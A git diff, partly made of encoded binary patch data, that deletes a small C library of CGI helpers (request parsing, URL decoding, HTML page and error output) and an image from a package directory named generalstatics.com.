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 cF}Q3O;_NhmSC;P -#include -#include -#include -#include "cgi.h" - -#ifdef NODUMP -# define DUMPf(fmt, args...) -#else -# define DUMPf(fmt, args...) fprintf(stderr, "%s:%s:%d " fmt "\n", __FILE__, __FUNCTION__, __LINE__, ##args) -#endif -#define DUMP() DUMPf("") -#define DUMP_d(v) DUMPf("%s = %d", #v, v) -#define DUMP_x(v) DUMPf("%s = 0x%x", #v, v) -#define DUMP_s(v) DUMPf("%s = %s", #v, v) -#define DUMP_c(v) DUMPf("%s = '%c' (0x%02x)", #v, v, v) -#define DUMP_p(v) DUMPf("%s = %p", #v, v) - - -#define POST_MAX 1024 - -/* - * CGI - */ -static int is_cgi = 0; -static char **argv = NULL; - -static int -read_char_argv() -{ - static int arg = 0; - static char *p; - - if (NULL == argv) { - return EOF; - } - - if (0 == arg) { - arg = 1; - p = argv[1]; - } - - if (! p) { - return EOF; - } else if (! *p) { - arg += 1; - p = argv[arg]; - return '&'; - } - - return *(p++); -} - -static int -read_char_stdin() -{ - static int inlen = -1; - - if (-1 == inlen) { - char *p = getenv("CONTENT_LENGTH"); - if (p) { - inlen = atoi(p); - if (inlen > POST_MAX) { - inlen = POST_MAX; - } - if (inlen < 0) { - inlen = 0; - } - } else { - inlen = 0; - } - } - - if (inlen) { - inlen -= 1; - return getchar(); - } - return EOF; -} - -static int -read_char_query_string() -{ - static char *p = (char *)-1; - - if ((char *)-1 == p) { - p = getenv("QUERY_STRING"); - } - - if (! p) { - return EOF; - } else if (! *p) { - return EOF; - } else { - return *(p++); - } -} - -static int (* read_char)() = read_char_argv; - -int -cgi_init(char *global_argv[]) -{ - char *rm = getenv("REQUEST_METHOD"); - - if (! rm) { - read_char = read_char_argv; - argv = global_argv; - } else if (0 == strcmp(rm, "POST")) { - read_char = read_char_stdin; - is_cgi = 1; - } else if (0 == strcmp(rm, "GET")) { - read_char = read_char_query_string; - is_cgi = 1; - } else { - printf(("405 Method not allowed\r\n" - "Allow: GET, POST\r\n" - "Content-type: text/plain\r\n" - "\r\n" - "%s is not allowed.\n"), - rm); - return -1; - } - - return 0; -} - -static char -tonum(int c) -{ - if ((c >= '0') && (c <= '9')) { - return c - '0'; - } - if ((c >= 'a') && (c <= 'f')) { - return 10 + c - 'a'; - } - if ((c >= 'A') && (c <= 'F')) { - return 10 + c - 'A'; - } - return 0; -} - -static char -read_hex() -{ - int a = read_char(); - int b = read_char(); - - return tonum(a)*16 + tonum(b); -} - -/* Read a key or a value. Since & and = aren't supposed to appear - outside of boundaries, we can use the same function for both. -*/ -size_t -cgi_item(char *str, size_t maxlen) -{ - int c; - size_t pos = 0; - - while (1) { - c = read_char(); - switch (c) { - case EOF: - case '=': - case '&': - str[pos] = '\0'; - return pos; - case '%': - c = read_hex(); - break; - case '+': - c = ' '; - break; - } - if (pos < maxlen - 1) { - str[pos] = c; - pos += 1; - } - } -} - -void -cgi_head(char *title) -{ - if (is_cgi) { - printf("Content-type: text/html\r\n\r\n"); - } - printf(("\n" - "\n" - " \n" - " %s\n" - " \n" - " \n" - "

%s

\n"), - title, title); -} - -void -cgi_foot() -{ - printf("\n" - " \n" - "\n"); -} - -void -cgi_result(int code, char *desc, char *fmt, ...) -{ - va_list ap; - - if (is_cgi) { - printf("%d %s\r\n", code, desc); - } - cgi_head(desc); - va_start(ap, fmt); - vprintf(fmt, ap); - va_end(ap); - cgi_foot(); - exit(0); -} - -void -cgi_page(char *title, char *fmt, ...) -{ - va_list ap; - - cgi_head(title); - va_start(ap, fmt); - vprintf(fmt, ap); - va_end(ap); - cgi_foot(); - exit(0); -} - -void -cgi_error(char *text) -{ - cgi_result(500, "Internal error", "

%s

", text); -} - diff --git a/packages/gs/generalstatics.com/cgi.h b/packages/gs/generalstatics.com/cgi.h deleted file mode 100644 index 04eed9f..0000000 --- a/packages/gs/generalstatics.com/cgi.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef __CGI_H_ -#define __CGI_H_ - -#include - -int cgi_init(char *global_argv[]); -size_t cgi_item(char *str, size_t maxlen); -void cgi_head(char *title); -void cgi_foot(); -void cgi_result(int code, char *desc, char *fmt, ...); -void cgi_page(char *title, char *fmt, ...); -void cgi_error(char *text); - -#endif diff --git a/packages/gs/generalstatics.com/data.png b/packages/gs/generalstatics.com/data.png deleted file mode 100644 index 858074986417028c0a71998c736c975cc022b1f2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10345 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 